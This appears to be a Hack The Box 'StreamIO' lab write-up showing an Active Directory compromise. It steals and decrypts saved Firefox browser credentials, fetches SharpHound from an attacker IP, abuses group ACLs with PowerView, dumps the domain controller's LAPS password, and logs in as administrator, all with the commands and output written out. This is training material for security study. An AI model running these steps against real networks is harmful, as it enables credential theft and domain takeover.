*Evil-WinRM* PS C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release> type logins.json
{"nextId":5,"logins":[{"id":1,"hostname":"https://slack.streamio.htb","httpRealm":null,"formSubmitURL":"","usernameField":"","passwordField":"","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECG2cZGM1+s+hBAiQvduUzZPkCw==","encryptedPassword":"MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECKA5q3v2TxvuBBjtXIyW2UjOBvrg700JOU1yfrb0EnMRelw=","guid":"{9867a888-c468-4173-b2f4-329a1ec7fa60}","encType":1,"timeCreated":1645526456872,"timeLastUsed":1645526456872,"timePasswordChanged":1645526456872,"timesUsed":1},{"id":2,"hostname":"https://slack.streamio.htb","httpRealm":null,"formSubmitURL":"","usernameField":"","passwordField":"","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDMUru7zbEb0BAiinvqXr8Trkg==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECOXW0KzZftfWBBARYsMPvSrUwx8+QfJdxzT+","guid":"{739bd2a5-5fec-4e08-97d2-3c619bf02be2}","encType":1,"timeCreated":1645526470377,"timeLastUsed":1645526470377,"timePasswordChanged":1645526470377,"timesUsed":1},{"id":3,"hostname":"https://slack.streamio.htb","httpRealm":null,"formSubmitURL":"","usernameField":"","passwordField":"","encryptedUsername":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECPtpFUOBoOFABBDVCjdAdstUxzB6i9DCqvOw","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECCocciyfDsthBBDm3YSuhBsW3roo3l3zOUuF","guid":"{a98a87bc-86aa-489c-9227-d6579ab5148b}","encType":1,"timeCreated":1645526484137,"timeLastUsed":1645526484137,"timePasswordChanged":1645526484137,"timesUsed":1},{"id":4,"hostname":"https://slack.streamio.htb","httpRealm":null,"formSubmitURL":"","usernameField":"","passwordField":"","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECB1j+gQdXzIuBAgO0o/N3J2MrQ==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNt9zddW+/h7BBCBgoQVGaDQjF2IpeQEl/Td","guid":"{2be21548-7c50-42f0-8ef6-b33b1e77f150}","encType":1,"timeCreated":1645526511842,"timeLastUsed":1645526511842,"timePasswordChanged":1645526511842,"timesUsed":1}],"potentiallyVulnerablePasswords":[],"dismissedBreachAlertsByLoginGUID":{},"version":3}
download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json /home/kali/Desktop/HackTheBox/StreamIO/ini/logins.json

download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\cert9.db /home/kali/Desktop/HackTheBox/StreamIO/ini/cert9.db

download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\cookies.sqlite /home/kali/Desktop/HackTheBox/StreamIO/ini/cookies.sqlite

Then we can use Firefox decrypt tool:

python3 firefox_decrypt.py /home/kali/Desktop/HackTheBox/StreamIO/ini
2022-08-19 14:45:44,614 - WARNING - profile.ini not found in /home/kali/Desktop/HackTheBox/StreamIO/ini
2022-08-19 14:45:44,614 - WARNING - Continuing and assuming '/home/kali/Desktop/HackTheBox/StreamIO/ini' is a profile location

Website:   https://slack.streamio.htb
Username: 'admin'
Password: 'JDg0dd1s@d0p3cr3@t0r'

Website:   https://slack.streamio.htb
Username: 'nikk37'
Password: 'n1kk1sd0p3t00:)'

Website:   https://slack.streamio.htb
Username: 'yoshihide'
Password: 'paddpadd@12'

Website:   https://slack.streamio.htb
Username: 'JDgodd'
Password: 'password@12'

We got many credentials, let’s test them with crackmapexec:

We have that the crads JDgodd:JDg0dd1s@d0p3cr3@t0r are valid on smb, no pwned, so it is not admin and we have no winrm to connect to the machine. Also, I cannot run commands as JDgodd on localhost, so better to start Bloodhound looking for some escalation path:

*Evil-WinRM* PS C:\Users\nikk37\Downloads> curl http://10.10.14.132:5454/SharpHound.ps1 -o SharpHound.ps1 
*Evil-WinRM* PS C:\Users\nikk37\Downloads> Import-Module .\SharpHound.ps1
*Evil-WinRM* PS C:\Users\nikk37\Downloads> Invoke-Bloodhound -CollectionMethod All -Domain streamio.htb -ZipFileName loot.zip

Once we have marked the users we owner, let’s check the shortest path from each of them:

The most obvious priv esc path is with user JDgodd since it has Read LAPS passwords over the DC. Looking for information about the attack, I found this website and a tool called LAPSDumper. With crackmapexec could not login with any of the password for the JDgodd user.


# Create the credentials for our user
$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $SecPassword)

# Set our user as Owner of that Group
Set-DomainObjectOwner -Identity 'Core Staff' -OwnerIdentity JDgodd -Cred $Cred

# Add ACL for Writing new members
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'Core Staff' -Rights WriteMembers

# Add nikk37 to the group
Add-DomainGroupMember -Identity 'Core Staff' -Members nikk37 -Credential $Cred

Now we can use LAPSDumper or CME (crackmapexec) to dump tha LAPS password:

python3 laps.py -u nikk37 -p get_dem_girls2@yahoo.com -d streamio.htb -l dc.streamio.htb
LAPS Dumper - Running at 09-29-2022 14:18:42
DC ,-96;;;dIO7dQ/

# Or use CME

crackmapexec ldap dc.streamio.htb -u nikk37 -p get_dem_girls2@yahoo.com -d streamio.htb -M laps
LDAP        10.10.11.158    389    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamio.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.158    389    DC               [+] streamio.htb\nikk37:get_dem_girls2@yahoo.com 
LAPS        10.10.11.158    389    DC               [*] Getting LAPS Passwords
LAPS        10.10.11.158    389    DC               Computer: DC$                  Password: ,-96;;;dIO7dQ/

Now with evil-winrm we can connect as the admin, since the LAPS password will always have admin privileges:

evil-winrm -i 10.10.11.158 -u administrator -p ',-96;;;dIO7dQ/'

And the flag is on the Martin user:

That’s all! Very great box, a lot of stuff combined to retreive the different flags. Also great approach for AD privesc beginners. Hope you liked the writeup!